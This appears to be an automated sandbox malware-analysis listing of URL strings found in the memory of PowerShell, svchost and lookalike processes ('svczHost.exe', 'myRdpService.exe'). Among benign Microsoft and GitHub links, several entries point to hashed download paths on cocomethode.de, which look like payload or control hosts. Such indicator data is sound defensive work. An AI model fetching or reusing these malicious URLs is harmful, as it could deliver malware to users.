Source: powershell.exe, 00000002.00000002.290036765742.0000014DE0C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A1085B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D784021000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.290161989907.000001A10941D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.290371725375.00000236C0CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wsoft.com/pki/ceroCerAut_2010-06-
Source: powershell.exe, 00000008.00000002.290161989907.000001A10999E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE200A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE202E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109AA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
Source: powershell.exe, 00000008.00000002.290205784150.000001A120A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c=hs
Source: powershell.exe, 00000002.00000002.290053307415.0000014DF8D06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291072709015.000001D79C0C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514554345.000001ABCCA24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.liv
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.asUTF-81
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600;
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 00000010.00000002.291001376614.000001D7940C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B2142000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE0C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A1085B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D784021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A10922A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D785D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a180
Source: powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236AAC30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236AAA1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae433
Source: svczHost.exe, 00000015.00000002.291511409384.0000026D59895000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/66ice
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/Zd
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa
Source: powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8
Source: powershell.exe, 00000010.00000002.290488209939.000001D784021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D78424C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b0c
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3
Source: powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1
Source: powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9
Source: powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca
Source: powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/MartinKuschnik/WmiLight
Source: powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE200A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE202E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109AA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 00000010.00000002.291001376614.000001D7940C0000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B2142000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000008.00000002.290161989907.000001A1098F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.liUTF-16p
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.lieF-8/p
Source: svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live
Source: svchost.exe, 00000013.00000002.291511277934.000001ABCB8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfs
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208957125.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290209113678.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208957125.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290209113678.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509298593.000001ABCB824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000013.00000002.291511277934.000001ABCB8C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511277934.000001ABCB8F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000013.00000003.290208957125.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290209113678.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf1
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509298593.000001ABCB824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=806000
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208957125.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290209113678.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208379377.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.sd=80605
